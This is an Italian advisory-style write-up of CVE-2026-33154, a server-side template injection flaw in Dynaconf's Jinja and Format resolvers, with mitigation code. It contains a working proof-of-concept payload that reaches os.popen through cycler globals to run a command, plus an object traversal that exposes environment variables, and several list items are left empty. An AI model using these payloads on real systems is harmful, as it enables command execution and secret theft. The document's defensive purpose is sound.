
Proof-of-concept exploit per CVE-2026-33154, che dimostra l'esecuzione remota di codice tramite SSTI nel resolver Jinja di Dynaconf, con analisi e indicazioni di mitigazione.
Dynaconf è vulnerabile a Server-Side Template Injection (SSTI) a causa della valutazione non sicura dei template nel resolver __@Jinja__. Quando il pacchetto jinja2 è installato, Dynaconf valuta le espressioni di template incorporate nei valori di configurazione senza un ambiente sandbox.
Se un attaccante può influenzare le sorgenti di configurazione come:
.env...può eseguire comandi OS arbitrari sul sistema host. Inoltre, il resolver __@Format__ consente la traversata del grafo degli oggetti, che può esporre oggetti runtime sensibili e variabili d'ambiente.
La vulnerabilità nasce dal fatto che i resolver di stringhe di Dynaconf mancano di adeguati confini di sicurezza.
__@Jinja__Il resolver __@Jinja__ renderizza i template utilizzando la valutazione completa di Jinja2. Tuttavia, il contesto di rendering non è sandbox, il che consente agli attaccanti di accedere agli attributi interni di Python. Utilizzando oggetti come cycler, gli attaccanti possono raggiungere i globali di Python e importare il modulo os.
Percorso d'attacco di esempio:
cycler → __init__ → __globals__ → os → popen()
Questo porta a esecuzione arbitraria di comandi.
__@Format__Il resolver __@Format__ esegue la formattazione delle stringhe Python utilizzando oggetti interni. Questo consente agli attaccanti di attraversare il grafo degli oggetti di Python e accedere a oggetti runtime sensibili.
Traversata di esempio:
{this.__class__.__init__.__globals__[os].environ}
Questo può esporre:
import os
from dynaconf import Dynaconf
# Iniezione di configurazione dannosa
os.environ["DYNACONF_RCE"] = "@jinja {{ cycler.__init__.__globals__.os.popen('id').read() }}"
settings = Dynaconf()
print("[!] Risultato dell'esecuzione del comando:")
print(settings.RCE)
Lo sfruttamento riuscito consente agli attaccanti di:
Poiché i valori di configurazione possono provenire da pipeline CI/CD, sistemi di orchestrazione dei container o iniezione d'ambiente, questa vulnerabilità può diventare sfruttabile da remoto nelle distribuzioni reali.
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
template = env.from_string("{{ config_value }}")
safe_value = template.render(config_value=user_input)
__@Format__ a Valori Attendibilisafe_value = "{name}".format(name=trusted_name)